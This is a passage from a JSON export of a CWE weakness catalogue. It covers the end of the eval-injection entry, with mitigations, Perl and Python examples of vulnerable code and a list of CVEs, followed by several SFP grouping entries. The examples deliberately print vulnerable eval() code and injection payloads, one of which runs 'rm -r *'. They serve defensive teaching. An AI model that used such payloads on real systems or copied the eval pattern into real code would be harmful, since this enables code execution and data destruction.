outright."]}, {"Phase": "Implementation", "Description": ["Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control.", "Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content."]}, {"Phase": "Implementation", "Description": ["For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373]."], "Effectiveness": "Discouraged Common Practice"}]}, "Demonstrative_Examples": {"Demonstrative_Example": [{"@Demonstrative_Example_ID": "DX-31", "Intro_Text": "edit-config.pl: This CGI script is used to modify settings in a configuration file.", "Example_Code": [{"@Nature": "Bad", "@Language": "Perl", "xhtml:div": {"xhtml:br": [null, null, null, null, null, null, null, null, null, null, null, null, null], "xhtml:div": [{"@style": "margin-left:1em;", "xhtml:div": {"xhtml:br": [null, null], "xhtml:i": "# code to add a field/key to a file goes here", "#text": "my ($fname, $key, $arg) = @_;"}}, {"@style": "margin-left:1em;", "xhtml:div": {"xhtml:br": [null, null], "xhtml:i": "# code to set key to a particular file goes here", "#text": "my ($fname, $key, $arg) = @_;"}}, {"@style": "margin-left:1em;", "xhtml:div": {"xhtml:br": [null, null], "xhtml:i": "# code to delete key from a particular file goes here", "#text": "my ($fname, $key, $arg) = @_;"}}, {"@style": "margin-left:1em;", "xhtml:div": {"xhtml:br": [null, null, null, null, null, null, null], "xhtml:i": ["# this is super-efficient code, especially if you have to invoke", "# any one of dozens of different functions!"], "#text": "my ($fname, $action) = @_;my $key = param('key');my $val = param('val');\n \n \n my $code = \"config_file_$action_key(\\$fname, \\$key, \\$val);\";eval($code);"}}, {"@style": "margin-left:1em;", "#text": "handleConfigAction($configfile, param('action'));"}, {"@style": "margin-left:1em;", "#text": "print \"No action specified!\\n\";"}], "#text": "use CGI qw(:standard);\n sub config_file_add_key {}\n sub config_file_set_key {}\n sub config_file_delete_key {}\n sub handleConfigAction {}\n $configfile = \"/home/cwe/config.txt\";print header;if (defined(param('action'))) {}else {}"}, "#text_blocks": ["use CGI qw(:standard);", "sub config_file_add_key {", "my ($fname, $key, $arg) = @_;", "# code to add a field/key to a file goes here", "}", "sub config_file_set_key {", "my ($fname, $key, $arg) = @_;", "# code to set key to a particular file goes here", "}", "sub config_file_delete_key {", "my ($fname, $key, $arg) = @_;", "# code to delete key from a particular file goes here", "}", "sub handleConfigAction {", "my ($fname, $action) = @_;", "my $key = param('key');", "my $val = param('val');", "# this is super-efficient code, especially if you have to invoke", "# any one of dozens of different functions!", "my $code = \"config_file_$action_key(\\$fname, \\$key, \\$val);\";", "eval($code);", "}", "$configfile = \"/home/cwe/config.txt\";", "print header;", "if (defined(param('action'))) {", "handleConfigAction($configfile, param('action'));", "}", "else {", "print \"No action specified!\\n\";", "}"]}, {"@Nature": "Attack", "xhtml:div": "add_key(\",\",\"); system(\"/bin/ls\");", "#text_blocks": ["add_key(\",\",\"); system(\"/bin/ls\");"]}, {"@Nature": "Result", "xhtml:div": "config_file_add_key(\",\",\"); system(\"/bin/ls\");", "#text_blocks": ["config_file_add_key(\",\",\"); system(\"/bin/ls\");"]}], "Body_Text": ["The script intends to take the 'action' parameter and invoke one of a variety of functions based on the value of that parameter - config_file_add_key(), config_file_set_key(), or config_file_delete_key(). It could set up a conditional to invoke each function separately, but eval() is a powerful way of doing the same thing in fewer lines of code, especially when a large number of functions or variables are involved. Unfortunately, in this case, the attacker can provide other values in the action parameter, such as:", "This would produce the following string in handleConfigAction():", "Any arbitrary Perl code could be added after the attacker has \"closed off\" the construction of the original function call, in order to prevent parsing errors from causing the malicious eval() to fail before the attacker's payload is activated. This particular manipulation would fail after the system() call, because the \"_key(\\$fname, \\$key, \\$val)\" portion of the string would cause an error, but this is irrelevant to the attack because the payload has already been activated."]}, {"@Demonstrative_Example_ID": "DX-156", "Intro_Text": "This simple python3 script asks a user to supply a comma-separated list of numbers as input and adds them together.", "Example_Code": [{"@Nature": "Bad", "@Language": "Python", "xhtml:div": {"xhtml:br": null, "xhtml:div": {"@style": "margin-left:1em;", "xhtml:br": [null, null, null, null], "xhtml:div": [{"@style": "margin-left:1em;", "xhtml:br": null, "#text": "numbers = eval(input(\"Enter a comma-separated list of numbers: \"))"}, {"@style": "margin-left:1em;", "xhtml:br": null, "#text": "print(\"Error: invalid input\")\n\t\t return"}, {"@style": "margin-left:1em;", "xhtml:br": null, "#text": "sum = sum + num"}], "#text": "sum = 0\n\t\t try:\n\t\t \n\t\t except SyntaxError:\n\t\t \n for num in numbers:\n \n print(f\"Sum of {numbers} = {sum}\")"}, "#text": "def main():\n \n main()"}, "#text_blocks": ["def main():", "sum = 0", "try:", "numbers = eval(input(\"Enter a comma-separated list of numbers: \"))", "except SyntaxError:", "print(\"Error: invalid input\")", "return", "for num in numbers:", "sum = sum + num", "print(f\"Sum of {numbers} = {sum}\")", "main()"]}, {"@Nature": "Attack", "xhtml:div": "__import__('subprocess').getoutput('rm -r *')", "#text_blocks": ["__import__('subprocess').getoutput('rm -r *')"]}, {"@Nature": "Good", "@Language": "Python", "xhtml:div": {"xhtml:br": null, "xhtml:div": {"@style": "margin-left:1em;", "xhtml:br": [null, null, null, null], "xhtml:div": [{"@style": "margin-left:1em;", "xhtml:br": null, "xhtml:div": {"@style": "margin-left:1em;", "xhtml:br": null, "#text": "sum = sum + int(num)"}, "#text": "for num in numbers:\n \n print(f\"Sum of {numbers} = {sum}\")"}, {"@style": "margin-left:1em;", "xhtml:br": null, "#text": "print(\"Error: invalid input\")"}], "#text": "sum = 0\n numbers = input(\"Enter a comma-separated list of numbers: \").split(\",\")\n try:\n \n except ValueError:"}, "#text": "def main():\n \n main()"}, "#text_blocks": ["def main():", "sum = 0", "numbers = input(\"Enter a comma-separated list of numbers: \").split(\",\")", "try:", "for num in numbers:", "sum = sum + int(num)", "print(f\"Sum of {numbers} = {sum}\")", "except ValueError:", "print(\"Error: invalid input\")", "main()"]}], "Body_Text": ["The eval() function can take the user-supplied list and convert it into a Python list object, therefore allowing the programmer to use list comprehension methods to work with the data. However, if code is supplied to the eval() function, it will execute that code. For example, a malicious user could supply the following string:", "This would delete all the files in the current directory. For this reason, it is not recommended to use eval() with untrusted input.", "A way to accomplish this without the use of eval() is to apply an integer conversion on the input within a try/except block. If the user-supplied input is not numeric, this will raise a ValueError. By avoiding eval(), there is no opportunity for the input string to be executed as code.", "An alternative, commonly-cited mitigation for this kind of weakness is to use the ast.literal_eval() function, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373]."]}]}, "Observed_Examples": {"Observed_Example": [{"Reference": "CVE-2024-4181", "Description": "Framework for LLM applications allows eval injection via a crafted response from a hosting provider.", "Link": "https://www.cve.org/CVERecord?id=CVE-2024-4181"}, {"Reference": "CVE-2022-2054", "Description": "Python compiler uses eval() to execute malicious strings as Python code.", "Link": "https://www.cve.org/CVERecord?id=CVE-2022-2054"}, {"Reference": "CVE-2021-22204", "Description": "Chain: regex in EXIF processor code does not correctly determine where a string ends (CWE-625), enabling eval injection (CWE-95), as exploited in the wild per CISA KEV.", "Link": "https://www.cve.org/CVERecord?id=CVE-2021-22204"}, {"Reference": "CVE-2021-22205", "Description": "Chain: backslash followed by a newline can bypass a validation step (CWE-20), leading to eval injection (CWE-95), as exploited in the wild per CISA KEV.", "Link": "https://www.cve.org/CVERecord?id=CVE-2021-22205"}, {"Reference": "CVE-2008-5071", "Description": "Eval injection in PHP program.", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-5071"}, {"Reference": "CVE-2002-1750", "Description": "Eval injection in Perl program.", "Link": "https://www.cve.org/CVERecord?id=CVE-2002-1750"}, {"Reference": "CVE-2008-5305", "Description": "Eval injection in Perl program using an ID that should only contain hyphens and numbers.", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-5305"}, {"Reference": "CVE-2002-1752", "Description": "Direct code injection into Perl eval function.", "Link": "https://www.cve.org/CVERecord?id=CVE-2002-1752"}, {"Reference": "CVE-2002-1753", "Description": "Eval injection in Perl program.", "Link": "https://www.cve.org/CVERecord?id=CVE-2002-1753"}, {"Reference": "CVE-2005-1527", "Description": "Direct code injection into Perl eval function.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-1527"}, {"Reference": "CVE-2005-2837", "Description": "Direct code injection into Perl eval function.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-2837"}, {"Reference": "CVE-2005-1921", "Description": "MFV. code injection into PHP eval statement using nested constructs that should not be nested.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-1921"}, {"Reference": "CVE-2005-2498", "Description": "MFV. code injection into PHP eval statement using nested constructs that should not be nested.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-2498"}, {"Reference": "CVE-2005-3302", "Description": "Code injection into Python eval statement from a field in a formatted file.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-3302"}, {"Reference": "CVE-2007-1253", "Description": "Eval injection in Python program.", "Link": "https://www.cve.org/CVERecord?id=CVE-2007-1253"}, {"Reference": "CVE-2001-1471", "Description": "Chain: Resultant eval injection. An invalid value prevents initialization of variables, which can be modified by attacker and later injected into PHP eval statement.", "Link": "https://www.cve.org/CVERecord?id=CVE-2001-1471"}]}, "Taxonomy_Mappings": {"Taxonomy_Mapping": [{"@Taxonomy_Name": "PLOVER", "Entry_Name": "Direct Dynamic Code Evaluation ('Eval Injection')"}, {"@Taxonomy_Name": "OWASP Top Ten 2007", "Entry_ID": "A3", "Entry_Name": "Malicious File Execution", "Mapping_Fit": "CWE More Specific"}, {"@Taxonomy_Name": "OWASP Top Ten 2004", "Entry_ID": "A6", "Entry_Name": "Injection Flaws", "Mapping_Fit": "CWE More Specific"}, {"@Taxonomy_Name": "Software Fault Patterns", "Entry_ID": "SFP24", "Entry_Name": "Tainted input to command"}, {"@Taxonomy_Name": "SEI CERT Perl Coding Standard", "Entry_ID": "IDS35-PL", "Entry_Name": "Do not invoke the eval form with a string argument", "Mapping_Fit": "Exact"}]}, "Related_Attack_Patterns": {"Related_Attack_Pattern": {"@CAPEC_ID": "35"}}, "References": {"Reference": [{"@External_Reference_ID": "REF-62", "@Section": "Chapter 18, \"Inline Evaluation\", Page 1095"}, {"@External_Reference_ID": "REF-1372"}, {"@External_Reference_ID": "REF-1373", "@Section": "ast.literal_eval(node_or_string)"}]}, "Mapping_Notes": {"Usage": "Allowed", "Rationale": "This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.", "Comments": "Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.", "Reasons": {"Reason": {"@Type": "Acceptable-Use"}}}, "Notes": {"Note": {"@Type": "Other", "#text": "Factors: special character errors can play a role in increasing the variety of code that can be injected, although some vulnerabilities do not require special characters at all, e.g. when a single function without arguments can be referenced and a terminator character is not necessary."}}, "Content_History": {"Submission": {"Submission_Name": "PLOVER", "Submission_Date": "2006-07-19", "Submission_Version": "Draft 3", "Submission_ReleaseDate": "2006-07-19"}, "Modification": [{"Modification_Name": "Eric Dalci", "Modification_Organization": "Cigital", "Modification_Date": "2008-07-01", "Modification_Version": "1.0", "Modification_ReleaseDate": "2008-09-09", "Modification_Comment": "updated Time_of_Introduction"}, {"Modification_Organization": "Veracode", "Modification_Date": "2008-08-15", "Modification_Version": "1.0", "Modification_ReleaseDate": "2008-09-09", "Modification_Comment": "Suggested OWASP Top Ten 2004 mapping"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2008-09-08", "Modification_Version": "1.0", "Modification_ReleaseDate": "2008-09-09", "Modification_Comment": "updated Applicable_Platforms, Description, Modes_of_Introduction, Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2009-01-12", "Modification_Version": "1.2", "Modification_ReleaseDate": "2009-01-12", "Modification_Comment": "updated Description, Observed_Examples, Other_Notes, Research_Gaps"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2009-05-27", "Modification_Version": "1.4", "Modification_ReleaseDate": "2009-05-27", "Modification_Comment": "updated Alternate_Terms, Applicable_Platforms, Demonstrative_Examples, Description, Name, References"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2010-02-16", "Modification_Version": "1.8", "Modification_ReleaseDate": "2010-02-16", "Modification_Comment": "updated Potential_Mitigations"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2010-06-21", "Modification_Version": "1.9", "Modification_ReleaseDate": "2010-06-21", "Modification_Comment": "updated Description, Name"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2011-06-01", "Modification_Version": "1.13", "Modification_ReleaseDate": "2011-06-01", "Modification_Comment": "updated Common_Consequences"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2012-05-11", "Modification_Version": "2.2", "Modification_ReleaseDate": "2012-05-15", "Modification_Comment": "updated Common_Consequences, Demonstrative_Examples, References, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2012-10-30", "Modification_Version": "2.3", "Modification_ReleaseDate": "2012-10-30", "Modification_Comment": "updated Potential_Mitigations"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2013-02-21", "Modification_Version": "2.4", "Modification_ReleaseDate": "2013-02-21", "Modification_Comment": "updated Observed_Examples"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2014-07-30", "Modification_Version": "2.8", "Modification_ReleaseDate": "2014-07-31", "Modification_Comment": "updated Relationships, Taxonomy_Mappings"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2017-11-08", "Modification_Version": "3.0", "Modification_ReleaseDate": "2017-11-08", "Modification_Comment": "updated Causal_Nature, Modes_of_Introduction, References, Relationships, Taxonomy_Mappings"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2019-01-03", "Modification_Version": "3.2", "Modification_ReleaseDate": "2019-01-03", "Modification_Comment": "updated Taxonomy_Mappings"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2019-06-20", "Modification_Version": "3.3", "Modification_ReleaseDate": "2019-06-20", "Modification_Comment": "updated Type"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Potential_Mitigations, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-06-25", "Modification_Version": "4.1", "Modification_ReleaseDate": "2020-06-25", "Modification_Comment": "updated Potential_Mitigations"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2021-03-15", "Modification_Version": "4.4", "Modification_ReleaseDate": "2021-03-15", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2021-10-28", "Modification_Version": "4.6", "Modification_ReleaseDate": "2021-10-28", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2022-04-28", "Modification_Version": "4.7", "Modification_ReleaseDate": "2022-04-28", "Modification_Comment": "updated Research_Gaps"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2022-06-28", "Modification_Version": "4.8", "Modification_ReleaseDate": "2022-06-28", "Modification_Comment": "updated Observed_Examples"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2022-10-13", "Modification_Version": "4.9", "Modification_ReleaseDate": "2022-10-13", "Modification_Comment": "updated Observed_Examples"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-01-31", "Modification_Version": "4.10", "Modification_ReleaseDate": "2023-01-31", "Modification_Comment": "updated Demonstrative_Examples, Description"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Demonstrative_Examples, Detection_Factors, Relationships, Time_of_Introduction"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2024-02-29", "Modification_Version": "4.14", "Modification_ReleaseDate": "2024-02-29", "Modification_Comment": "updated Demonstrative_Examples, Potential_Mitigations, References"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2024-07-16", "Modification_Version": "4.15", "Modification_ReleaseDate": "2024-07-16", "Modification_Comment": "updated Applicable_Platforms, Observed_Examples"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-04-03", "Modification_Version": "4.17", "Modification_ReleaseDate": "2025-04-03", "Modification_Comment": "updated Common_Consequences, Description, Diagram"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-12-11", "Modification_Version": "4.19", "Modification_ReleaseDate": "2025-12-11", "Modification_Comment": "updated Demonstrative_Examples, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-04-30", "Modification_Version": "4.20", "Modification_ReleaseDate": "2026-04-30", "Modification_Comment": "updated Applicable_Platforms, Potential_Mitigations, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Alternate_Terms, Name, Observed_Examples"}], "Previous_Entry_Name": [{"@Date": "2008-04-11", "#text": "Direct Dynamic Code Evaluation ('Eval Injection')"}, {"@Date": "2009-05-27", "#text": "Insufficient Control of Directives in Dynamically Evaluated Code (aka 'Eval Injection')"}, {"@Date": "2010-06-21", "#text": "Improper Sanitization of Directives in Dynamically Evaluated Code ('Eval Injection')"}, {"@Date": "2026-10-28", "#text": "Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"}]}, "entry_type": "Weakness", "ranking": 261.0}, {"@ID": "949", "@Name": "SFP Secondary Cluster: Faulty Endpoint Authentication", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Faulty Endpoint Authentication cluster (SFP29).", "Relationships": {"Has_Member": [{"@CWE_ID": "293", "@View_ID": "888"}, {"@CWE_ID": "302", "@View_ID": "888"}, {"@CWE_ID": "345", "@View_ID": "888"}, {"@CWE_ID": "346", "@View_ID": "888"}, {"@CWE_ID": "350", "@View_ID": "888"}, {"@CWE_ID": "360", "@View_ID": "888"}, {"@CWE_ID": "551", "@View_ID": "888"}, {"@CWE_ID": "565", "@View_ID": "888"}, {"@CWE_ID": "647", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Description"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "948", "@Name": "SFP Secondary Cluster: Digital Certificate", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Digital Certificate cluster.", "Relationships": {"Has_Member": [{"@CWE_ID": "296", "@View_ID": "888"}, {"@CWE_ID": "297", "@View_ID": "888"}, {"@CWE_ID": "298", "@View_ID": "888"}, {"@CWE_ID": "299", "@View_ID": "888"}, {"@CWE_ID": "593", "@View_ID": "888"}, {"@CWE_ID": "599", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "947", "@Name": "SFP Secondary Cluster: Authentication Bypass", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Authentication Bypass cluster.", "Relationships": {"Has_Member": [{"@CWE_ID": "287", "@View_ID": "888"}, {"@CWE_ID": "288", "@View_ID": "888"}, {"@CWE_ID": "289", "@View_ID": "888"}, {"@CWE_ID": "303", "@View_ID": "888"}, {"@CWE_ID": "304", "@View_ID": "888"}, {"@CWE_ID": "305", "@View_ID": "888"}, {"@CWE_ID": "308", "@View_ID": "888"}, {"@CWE_ID": "309", "@View_ID": "888"}, {"@CWE_ID": "603", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2017-05-03", "Modification_Version": "2.11", "Modification_ReleaseDate": "2017-05-05", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "946", "@Name": "SFP Secondary Cluster: Insecure Resource Permissions", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Insecure Resource Permissions cluster.", "Relationships": {"Has_Member": [{"@CWE_ID": "276", "@View_ID": "888"}, {"@CWE_ID": "277", "@View_ID": "888"}, {"@CWE_ID": "278", "@View_ID": "888"}, {"@CWE_ID": "279", "@View_ID": "888"}, {"@CWE_ID": "281", "@View_ID": "888"}, {"@CWE_ID": "560", "@View_ID": "888"}, {"@CWE_ID": "732", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "945", "@Name": "SFP Secondary Cluster: Insecure Resource Access", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Insecure Resource Access cluster (SFP35).", "Relationships": {"Has_Member": [{"@CWE_ID": "285", "@View_ID": "888"}, {"@CWE_ID": "424", "@View_ID": "888"}, {"@CWE_ID": "639", "@View_ID": "888"}, {"@CWE_ID": "650", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Description"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "944", "@Name": "SFP Secondary Cluster: Access Management", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Access Management cluster.", "Relationships": {"Has_Member": [{"@CWE_ID": "282", "@View_ID": "888"}, {"@CWE_ID": "283", "@View_ID": "888"}, {"@CWE_ID": "284", "@View_ID": "888"}, {"@CWE_ID": "286", "@View_ID": "888"}, {"@CWE_ID": "708", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", 